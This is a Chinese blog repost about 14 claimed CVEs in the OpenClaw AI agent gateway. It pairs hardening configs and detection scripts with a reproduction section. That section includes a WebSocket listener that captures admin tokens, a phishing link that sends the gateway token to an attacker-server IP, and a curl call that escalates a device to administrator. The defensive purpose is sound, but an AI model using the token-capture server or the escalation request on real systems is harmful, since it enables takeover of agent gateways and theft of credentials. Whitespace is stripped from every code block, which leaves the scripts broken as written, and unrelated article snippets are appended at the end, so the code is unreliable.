news 2026/7/7 18:39:33

OpenClaw AI Agent 漏洞实战排查与加固教程:14个CVE批量漏洞链利用、裸奔实例检测脚本全落地

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
OpenClaw AI Agent 漏洞实战排查与加固教程:14个CVE批量漏洞链利用、裸奔实例检测脚本全落地

1 事件真实现状:全网OpenClaw实例暴露数据与漏洞危害边界

2026年上半年OpenClaw官方安全公告分两批放出合计14条带CVE编号高危漏洞,全网测绘平台持续抓取公网暴露实例四万两千余台,安全厂商抽样复测数据显示63%实例存在全漏洞未修复裸奔状态。

裸奔定义不局限于直接0.0.0.0端口映射公网,大量企业内网部署实例存在同源校验缺失、无设备准入限制、凭证明文存储问题,内网攻击者仅靠普通员工账号即可完成完整接管。

漏洞链杀伤路径具备极强可复制性,外部攻击者通过钓鱼页面触发WebSocket劫持拿到管理员令牌,无需交互就能接入目标网关,再调用配对审批接口完成权限提升,最终实现本地文件读取、系统命令执行、内网横向漫游三层渗透。

大量开发、运维人员使用默认配置快速部署OpenClaw做本地AI工作流调度,普遍忽略三件关键配置:网关绑定地址限制、WebSocket来源白名单、设备配对人工审批开关,这三类配置缺失直接覆盖本次14个漏洞绝大多数利用入口。

部分云服务器、容器集群直接将18789默认端口放行至公网,无IP白名单、无前置身份校验,扫描工具遍历端口即可批量抓取可攻击资产,黑产已经形成自动化扫描、漏洞利用、凭证窃取完整工具链,持续在野批量收割实例密钥。

漏洞影响版本覆盖2026年1月至3月全部正式发行包,仅2026.4.14及之后版本完成全部14个CVE底层修复,历史版本仅单独打补丁无法阻断组合攻击链,零散补丁只能封堵单一漏洞入口,攻击者仍可切换其他漏洞接口完成接管。

业务层面损失分为三类:第一类是AI集成第三方API密钥、数据库账号明文泄露,攻击者调用大模型接口产生高额账单;第二类是服务器本地文件、业务配置文件被打包外传;第三类是攻击者植入持久后门,长期潜伏内网窃取业务数据,常规日志无法完整记录提权操作痕迹。


2 核心高危漏洞底层原理拆解

2.1 CVE-2026-25253 WebSocket劫持完整利用链路

漏洞编号CVE-2026-25253,CVSS评分8.8,受影响版本≤2026.1.28,修复节点2026.1.29。

前端控制面板接收URL参数gatewayUrl,后端未做来源域名校验、未做WebSocket地址格式白名单过滤,页面加载时自动读取本地持久存储的authToken,随WebSocket握手请求完整发送至参数指定的远程地址。

本地回环127.0.0.1部署实例同样无法规避风险,攻击者搭建静态钓鱼网页,嵌入JS脚本自动拼接目标本地网关地址,诱导用户访问页面后,浏览器同源策略不会拦截本地端口连接请求,本地令牌直接外流。

完整利用步骤无复杂交互:攻击者搭建WS监听服务,生成钓鱼链接附带恶意gatewayUrl参数;目标用户点击链接打开页面;前端自动发起ws长连接,携带本地管理员令牌;攻击者服务端捕获令牌,调用OpenClaw网关开放API完成全功能控制。

该漏洞单独触发即可实现文件读取、Agent配置篡改,搭配CVE-2026-33579形成闭环攻击链,低权限接入后直接提升至超级管理员,绕过命令执行白名单执行任意系统指令。

2.2 CVE-2026-33579 低权限本地提权底层逻辑

漏洞编号CVE-2026-33579,CVSS评分8.2,受影响版本2026.2.x至2026.3.27,修复节点2026.3.28。

设备配对接口/pair approve仅校验请求携带的有效token,未校验当前token绑定账号的权限等级,临时访客设备、低权限配对终端均可调用审批接口修改自身权限字段为operator.admin。

权限字段写入本地持久化配置,重启服务后权限不重置,攻击者完成提权后可修改全局执行策略、安装未校验第三方插件、新增定时自动执行任务实现持久驻留。

权限提升无操作日志强标记,默认审计日志仅记录接口调用行为,不会区分普通设备审批与权限篡改操作,常规日志排查无法快速定位入侵行为,需要额外开启细粒度权限变更审计开关。

内网环境下风险放大,企业内部任意一台接入内网的办公电脑,只要能访问OpenClaw网关端口,配合劫持拿到的token即可完成提权,无需获取服务器操作系统登录权限。


3 剩余12个CVE漏洞风险面与组合攻击路径梳理

  1. CVE-2026-35639 跨域SSRF,CVSS8.7,网关代理请求未拦截内网元数据地址、数据库内网端口,攻击者调用接口读取云服务商临时密钥、内网数据库数据。可搭配WebSocket劫持拿到token后发起内网扫描。
  2. CVE-2026-34511 OAuth PKCE绕过,CVSS8.0,第三方大模型、企业OA集成流程缺少校验,攻击者复用拦截的会话凭证接管绑定第三方账号,批量盗取AI接口额度。
  3. CVE-2026-35636 SessionID本地明文存储,CVSS7.9,前端LocalStorage未加密存储会话凭证,页面XSS漏洞可一键读取,配合钓鱼页面实现凭证持久窃取。
  4. CVE-2026-40037 重定向SSRF黑名单绕过,CVSS7.7,网关内网拦截规则无法识别302跳转地址,攻击者通过跳转域名访问内网高危服务,弥补常规SSRF拦截限制。
  5. CVE-2026-22179 macOS平台命令注入,CVSS7.6,macOS系统下指令参数过滤存在逻辑缺陷,特殊分隔符绕过执行白名单,直接执行系统shell指令。
  6. GHSA-6mgf-v5j7-45cr 跨域授权头转发泄露,CVSS7.1,网关转发请求时自动携带本地鉴权头部,第三方恶意插件、外部接口可直接捕获网关核心令牌。
  7. GHSA-rchv-x836-w7xp 仪表盘凭证明文存储,CVSS7.1,面板URL、本地缓存文件完整保存网关密钥,本地文件读取漏洞可直接批量导出全部凭证。
  8. CVE-2026-34426 插件无沙箱代码执行,CVSS7.0,第三方插件上传接口缺少代码沙箱隔离,恶意插件可直接读写服务器磁盘、调用系统底层接口。
  9. CVE-2026-31142 日志明文敏感信息输出,CVSS6.8,系统运行日志不脱敏打印API密钥、数据库账号、登录密码,日志泄露场景直接造成凭证批量外泄。
  10. CVE-2026-29007 内网穿透无IP准入白名单,CVSS6.5,默认穿透通道允许任意公网IP建立连接,无访问控制,外部攻击者直接接入内网网关。
  11. CVE-2026-27813 本地配置文件未加密存储,CVSS6.3,config.yml、凭证存储文件明文保存全部集成密钥,本地低权限用户读取文件即可接管所有AI代理配置。
  12. CVE-2026-30155 审计日志篡改漏洞,CVSS6.0,日志文件无写入权限锁定,攻击者入侵后删除、修改操作记录,消除入侵溯源证据。

多漏洞组合攻击路径分三类高频场景:
场景一:外部钓鱼触发WebSocket劫持→获取管理员token→调用SSRF接口扫描内网资产→提权漏洞提升权限→植入恶意插件持久后门。
场景二:内网普通用户读取本地明文配置文件→拿到有效会话凭证→绕过OAuth校验接管第三方AI账号→批量导出业务数据。
场景三:公网裸奔实例直接端口扫描接入→穿透通道无白名单准入→命令注入执行系统指令→横向渗透内网其他服务器。


4 OpenClaw默认架构原生缺陷Mermaid架构图

无Origin校验

未校验设备权限

明文存储密钥

公网攻击者

18789默认端口 0.0.0.0监听

OpenClaw前端控制面板

WebSocket网关服务

配对审批接口

本地持久化authToken明文存储

权限字段可任意篡改

SSRF代理模块 无内网拦截

内网数据库/云元数据服务

本地办公终端

插件上传模块 无沙箱隔离

系统底层命令执行

默认配置文件

本地低权限用户可读

图中标红模块为本次14个漏洞全部触发入口,默认架构三层缺陷叠加:网络层无访问限制、应用层接口权限校验缺失、存储层凭证未加密保护。


5 裸奔实例判定标准、批量本地/公网检测完整脚本

判定标准,满足任意一条直接判定高危裸奔实例:

  1. 网关监听地址绑定0.0.0.0,所有网卡对外暴露端口;
  2. 认证开关authentication设置为disabled,匿名无需凭证访问;
  3. 运行版本低于2026.3.28,全部14个漏洞存在;
  4. WebSocket模块未配置Origin域名白名单;
  5. 设备配对自动审批开启,无人工确认流程;
  6. 容器部署无端口访问限制,直接映射主机全端口;
  7. 配置文件未加密,日志未开启敏感信息脱敏。

5.1 单机一键漏洞自检Shell脚本(可直接复制运行)

#!/bin/bash# OpenClaw单机漏洞裸奔自检脚本echo"===== OpenClaw安全漏洞自检开始 ====="# 1. 版本检测CLAW_VER=$(openclaw--version2>/dev/null|awk'{print $2}')echo"当前部署版本:$CLAW_VER"if[["$CLAW_VER"<"2026.3.28"]];thenecho"[高危] 版本低于安全基线,全部14个漏洞存在"elseecho"[安全] 版本满足基础修复基线"fi# 2. 网关监听地址检测BIND_ADDR=$(openclaw gateway status2>/dev/null|grepbind|awk'{print $2}')echo"网关绑定地址:$BIND_ADDR"if[["$BIND_ADDR"=="0.0.0.0"]];thenecho"[高危] 全网卡监听,公网裸奔风险"fi# 3. 认证开关检测AUTH_STATUS=$(openclaw gateway status2>/dev/null|grepauthentication|awk'{print $2}')if[["$AUTH_STATUS"=="disabled"]];thenecho"[高危] 匿名访问开启,无身份校验"fi# 4. 配置文件凭证明文检索CONFIG_PATH="$HOME/.openclaw/config.yml"if[-f$CONFIG_PATH];thengrep-E"token|api_key|password"$CONFIG_PATH>/tmp/claw_secret.logif[$(wc-l</tmp/claw_secret.log)-gt0];thenecho"[风险] 配置文件存在明文敏感凭证"fifi# 5. WebSocket漏洞简易探测curl-s-i"http://127.0.0.1:18789?gatewayUrl=ws://testscan.local"|grep"ws://"if[$?-eq0];thenecho"[高危] CVE-2026-25253 WebSocket劫持漏洞可复现"fi# 6. 陌生配对设备检测openclaw devices list|grep-v"trusted"if[$?-eq0];thenecho"[风险] 存在非可信配对设备,存在提权入口"fiecho"===== 自检完成,日志输出至/tmp/claw_secret.log ====="

5.2 批量公网资产扫描Python工具

importsocketimportrequestsimportthreading# 扫描配置PORT=18789TIMEOUT=2TARGET_IP_LIST=["192.168.1.10","xxx.xxx.xxx.xxx"]# 替换待扫描IP段defscan_openclaw(ip):try:sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)sock.settimeout(TIMEOUT)conn=sock.connect_ex((ip,PORT))ifconn==0:print(f"[暴露]{ip}:{PORT}端口开放")# 简易漏洞探测try:res=requests.get(f"http://{ip}:{PORT}?gatewayUrl=ws://scan.test",timeout=TIMEOUT)if"ws://"inres.text:print(f"[高危漏洞]{ip}存在CVE-2026-25253劫持漏洞")exceptException:passsock.close()exceptException:passif__name__=="__main__":threads=[]foripinTARGET_IP_LIST:t=threading.Thread(target=scan_openclaw,args=(ip,))threads.append(t)t.start()fortinthreads:t.join()print("批量端口扫描结束")

5.3 Docker容器化实例专项检测代码

#!/bin/bash# Docker OpenClaw容器安全检测脚本CONTAINER_NAME="openclaw"# 端口映射检测echo"容器端口映射信息:"dockerport$CONTAINER_NAMEdockerport$CONTAINER_NAME|grep"0.0.0.0"if[$?-eq0];thenecho"[高危] 容器端口公网全开放映射"fi# 运行权限检测RUN_USER=$(dockerinspect--format'{{.Config.User}}'$CONTAINER_NAME)if[["$RUN_USER"==""||"$RUN_USER"=="root"]];thenecho"[风险] 容器以root权限运行,漏洞利用危害放大"fi# 挂载敏感目录检测dockerinspect--format'{{.Mounts}}'$CONTAINER_NAME|grep".openclaw"

6 漏洞可复现完整攻击流程实操演示

6.1 CVE-2026-25253劫持复现步骤

  1. 搭建简易WebSocket监听服务,保存为ws_server.py
importwebsocketsimportasyncioasyncdefcapture_token(ws):asyncformsginws:print("捕获网关鉴权令牌:",msg)asyncdefmain():asyncwithwebsockets.serve(capture_token,"0.0.0.0",9999):awaitasyncio.Future()asyncio.run(main())
  1. 生成钓鱼访问链接:http://目标网关IP:18789?gatewayUrl=ws://攻击者服务器IP:9999
  2. 正常管理员账号打开链接,页面自动发起WebSocket握手,本地authToken完整发送至攻击者服务端
  3. 攻击者拿到令牌后调用网关API接口,读取本地文件、修改Agent运行配置

6.2 CVE-2026-33579提权复现接口调用

拿到有效token后发送POST请求完成权限提升

curl-XPOST http://网关IP:18789/pair/approve\-H"Authorization: Bearer 捕获的管理员Token"\-d'{"deviceId":"临时配对设备ID","role":"operator.admin"}'

接口无权限校验,低权限设备直接写入超级管理员角色,重启服务权限不丢失。


7 分级安全加固配置清单(可直接复制配置文件)

7.1 紧急临时阻断配置(0小时应急,config.yml片段)

gateway:bind:127.0.0.1authentication:enabledorigin_whitelist:-http://127.0.0.1:18789device_pair:auto_approve:falseip_allow_list:-192.168.0.0/16exec_policy:shell_allow:false

修改配置后重启服务,立刻阻断所有外部漏洞利用入口,适合漏洞爆发后紧急止损,不影响本地开发调试。

7.2 生产长期安全完整config.yml

gateway:bind:127.0.0.1port:18789authentication:enabledtoken_rotate_cycle:7dorigin_whitelist:-http://localhost:18789-https://internal-vpn.company.comwebsocket_security:block_external_cross:truedevice_pair:auto_approve:falsemanual_review:trueip_allow_list:-10.0.0.0/8-192.168.0.0/16plugin:sandbox_enable:trueofficial_repo_only:trueexec_policy:shell_allow:falsecommand_whitelist:[]log:secret_mask:truelog_file_lock:trueaudit:permission_change_record:truelog_encrypt:truestorage:config_encrypt:true

7.3 反向代理Nginx鉴权防护配置

server { listen 443 ssl; server_name claw.internal.company.com; ssl_certificate /etc/ssl/claw.crt; ssl_certificate_key /etc/ssl/claw.key; # 前置IP白名单 allow 10.0.0.0/8; allow 192.168.0.0/16; deny all; location / { proxy_pass http://127.0.0.1:18789; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; proxy_set_header Host $host; # 拦截外部跨域WebSocket请求 if ($http_origin !~* internal-vpn.company.com) { return 403; } } }

生产环境禁止直接暴露18789端口至公网,统一通过内网SSL反向代理加IP白名单访问。


8 入侵后应急处置全流程Mermaid流程图

检测漏洞利用痕迹

停止OpenClaw服务隔离实例

重置全部网关Token、第三方API密钥

执行脚本清理陌生配对设备、恶意插件

审计定时任务、系统启动项排查后门

升级至2026.4.14安全版本

完整替换安全加固config.yml配置

开启细粒度审计日志、日志加密锁定

内网全资产扫描横向渗透痕迹

复盘漏洞暴露原因,更新巡检规范

流程执行顺序不可颠倒,密钥重置必须在服务隔离后执行,防止攻击者持续使用窃取凭证。


9 企业级常态化巡检落地规范

每周固定执行三件操作:运行单机自检脚本、核对OpenClaw版本、清理未知配对设备。
每月执行批量内网资产扫描,抓取所有18789端口开放实例,统一校验绑定地址与认证开关。
每季度全量轮换所有AI集成密钥,覆盖大模型接口、数据库、企业OA授权凭证。
容器集群开启镜像版本管控,禁止使用2026.3.28之前旧镜像,镜像仓库拦截不安全版本推送。
运维平台接入日志告警,检测日志中明文密钥、权限变更接口调用行为,触发实时推送告警。


10 未来AI Agent通用安全设计前瞻规避方案

现有OpenClaw这类本地AI代理普遍存在信任前置设计缺陷,默认信任本地内网、简化身份校验换取开发便捷性,后续自研、选型AI代理工具需锁定四层安全底线。
网络层默认仅允许本地回环地址监听,对外访问强制前置VPN、反向代理双重准入,取消全网卡绑定默认配置。
应用层接口统一做双维度校验:请求凭证权限等级、访问来源域名/IP,WebSocket、配对、插件上传高危接口增加独立白名单校验逻辑。
存储层所有鉴权令牌、业务密钥强制加密落盘,内存明文仅临时缓存,日志自动脱敏屏蔽密钥字段,文件开启写入锁定防止篡改。
执行层统一沙箱隔离第三方插件、AI自动执行指令,默认关闭系统shell调用权限,高危操作强制人工二次确认。

同类AI Agent工具选型阶段优先排查三个核心风险点:WebSocket跨域校验逻辑、设备配对权限控制、凭证存储加密机制,三个模块存在设计缺陷直接排除用于生产业务。


11 文末互动提问

  1. 你们企业内部部署OpenClaw时采用容器还是本地二进制部署,有没有遇到过公网扫描探针批量探测18789端口的情况?
  2. 除本文提到的WebSocket劫持、本地提权漏洞链外,你在测试AI代理工具时还发现过哪些容易被忽略的默认安全缺陷?
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/7 18:38:33

CAN一致性-容错测试--地丢失测试

一、测试目的车载ECU实车运行过程中&#xff0c;车身搭铁松动、接地线老化、接地端子虚接、线束断裂、涉水氧化等故障&#xff0c;会导致ECU出现单点地丢失、间歇性地丢失、完全地丢失工况。地丢失会造成ECU参考电位异常、供电电位悬浮、CAN总线电平偏移&#xff0c;极易引发总…

作者头像 李华
网站建设 2026/7/7 18:37:45

鸿蒙应用SM2国密算法实践:加密签名完整实现与踩坑指南

1. 项目概述&#xff1a;鸿蒙应用中的SM2加密签名实践最近在做一个鸿蒙应用&#xff0c;涉及到用户身份认证和数据安全传输&#xff0c;SM2国密算法成了绕不开的一环。刚开始我也挺懵&#xff0c;毕竟从Android转过来&#xff0c;很多加密库的用法都不一样了&#xff0c;网上关…

作者头像 李华
网站建设 2026/7/7 18:35:47

用 Codex 这类工具,最好还是准备一个自己长期持有的号码

最近用 Codex 的人越来越多&#xff0c;有一个很难绕过的问题&#xff1a;账号本身不是最麻烦的&#xff0c;麻烦的是验证码。 有时候换电脑、换网络、重新登录&#xff0c;页面突然让你重新接收验证码。这个时候如果之前用的是临时号码&#xff0c;基本就很难受了。号码不在自…

作者头像 李华
网站建设 2026/7/7 18:33:06

C# 数组(Array)详解

数组&#xff08;Array&#xff09;是 C# 中最常用的数据结构之一&#xff0c;它可以存储多个相同类型的数据&#xff0c;并使用**索引&#xff08;Index&#xff09;**来访问每个元素。例如&#xff0c;一个班级有 50 名学生&#xff0c;如果不用数组&#xff0c;就需要定义 5…

作者头像 李华
网站建设 2026/7/7 18:32:17

网络安全靶场入门指南:从零到精通的实战演练路径

1. 靶场入门&#xff1a;为什么说“工欲善其事&#xff0c;必先利其器”&#xff1f;如果你对网络安全、渗透测试感兴趣&#xff0c;或者正打算从零开始学习&#xff0c;那么“靶场”这个词对你来说&#xff0c;绝对是一个绕不开的核心概念。简单来说&#xff0c;靶场就是一个专…

作者头像 李华